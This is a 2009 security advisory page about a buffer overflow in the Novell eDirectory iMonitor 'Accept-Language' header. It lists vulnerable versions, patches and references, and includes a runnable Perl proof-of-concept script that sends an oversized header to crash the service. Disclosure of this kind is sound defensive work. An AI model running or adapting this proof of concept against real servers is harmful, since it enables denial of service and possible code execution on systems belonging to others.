No account yet?
Home » Exploits » Novell eDirectory iMonitor 'Accept-Language' Request Buffer Overflow Vulnerability
Novell eDirectory iMonitor 'Accept-Language' Request Buffer Overflow Vulnerability E-mail
Feeds - Exploits
Written by Vulnerability Research Team, Assurent Secure Technologies, a TELUS company   
Monday, 02 March 2009 22:46
Novell eDirectory iMonitor 'Accept-Language' Request Buffer Overflow Vulnerability


-\\Bugtraq ID:
33928

-\\Class:
Boundary Condition Error

-\\CVE:


-\\Remote:
Yes

-\\Local:
No

-\\Published:
Feb 25 2009 12:00AM

-\\Updated:
Mar 02 2009 05:46PM

-\\Credit:
Vulnerability Research Team, Assurent Secure Technologies, a TELUS company



-\\Vulnerable:
Novell eDirectory 8.7.3 SP10b
Novell eDirectory 8.7.3 SP10 FTF1
Novell eDirectory 8.7.3 sp10
Novell eDirectory 8.7.3 9
Novell eDirectory 8.7.3 10
Novell eDirectory 8.7.3 .8 pre-SP9
Novell eDirectory 8.7.3 .8
Novell eDirectory 8.7.3
Novell eDirectory  8.8 SP4
Novell eDirectory  8.8 SP3
Novell eDirectory  8.8 SP2
Novell eDirectory  8.8 SP1
Novell eDirectory  8.8



-\\Not Vulnerable:
Novell eDirectory 8.7.3 10b Hotfix 1
Novell eDirectory  8.8 SP4 FTF1
Novell eDirectory  8.8 SP3 FTF3



-\\Discussion
Novell eDirectory iMonitor is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Attackers could exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely cause denial-of-service conditions.

The following are vulnerable:

Novell eDirectory 8.7.3 (prior to 8.7.3.10b Hotfix 1)
Novell eDirectory 8.8 SP3 (prior to 8.8 SP3 FTF3)
Novell eDirectory 8.8 SP4 (prior to 8.8 SP4 FTF1)



-\\Exploit(s)/PoC(s):
Currently we are not aware of any working exploits. If you feel we are in error or if you are aware of more recent information, please mail us at: This e-mail address is being protected from spambots. You need JavaScript enabled to view it .

The following proof of concept is available:

===============================================================
33928-PoC.pl
^^^^^^^^^^^^^
#!usr/bin/perl -w

#######################################################################################
#   Novell eDirectory iMonitor 'Accept-Language' Request Buffer Overflow Vulnerability
#   Refer:
#        http://www.securityfocus.com/bid/33928/discuss
#
#    To run this exploit on MS Windows replace "#!usr/bin/perl -w" with
#     "#!Installation_path_for_perl -w" (say #!C:/Program Files/Perl/bin/perl -w)
#
#$$$$$This was strictly written for educational purpose. Use it at your own risk.$$$$$
#$$$$$Author will not bare any responsibility for any damages watsoever.$$$$$$$$$$$$$$
#
#        Author:    Praveen Dar$hanam
#        Email:     praveen[underscore]recker[at]sify.com
#         Blog:        http://www.darshanams.blogspot.com/
#        Date:      02nd March, 2009
#         Visit:        http://www.evilfingers.com/
#
########Thanx to str0ke, milw0rm, @rP m@n, and all the Security Folks###################
########################################################################################

use IO::Socket;

print("\nEnter IP Address of Novell eDirectory iMonitor Server \n");
$vuln_host_ip = <STDIN>;
chomp($vuln_host_ip);
$port = 8008;
#Secure transfer uses TCP 8010 port

$sock_http = IO::Socket::INET->new(   PeerAddr => $vuln_host_ip,
                                     PeerPort => $port,
                                     Proto    => 'tcp') || "Unable to create HTTP Socket";

$buff1= "C" x 1000;
$buff2= "D" x 1000;
$buff3= "E" x 1000;
$mal_buff=$buff1.$buff2.$buff3;
# It is just a PoC

$http_attack = "GET /nds/ HTTP/1.1\r\n".
"Host: $vuln_host_ip:$port\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
"Accept-Language: en, $mal_buff;q=0.8\r\n".
"Keep-Alive: 300\r\n".
"Connection: keep-alive\r\n".
"\r\n";

print $sock_http $http_attack;
print "\nOverflow request sent....";
sleep(5);

close($sock_http);





-\\Solution
The vendor has released patches. Please see the references for more information.



-\\References(s)
--Assurent VR - Novell eDirectory Management Console Accept-Language Buffer Overfl
http://seclists.org/fulldisclosure/2009/Mar/0002.htm  (VR-Subscription-noreply_at_assurent.com)
--eDirectory Product Homepage
http://www.novell.com/products/edirectory  (Novell)
--eDirectory 8.8 SP3 FTF3 for Linux & Unix
http://support.novell.com/docs/Readmes/InfoDocument/patchbuilder/readme_5042340.htm  (Novell)
--eDirectory 8.8 SP3 FTF3 for NetWare
http://support.novell.com/docs/Readmes/InfoDocument/patchbuilder/readme_5042341.htm  (Novell)
--eDirectory 8.8 SP3 FTF3 for Windows
http://support.novell.com/docs/Readmes/InfoDocument/patchbuilder/readme_5042342.htm  (Novell)
 

Security Services by HSC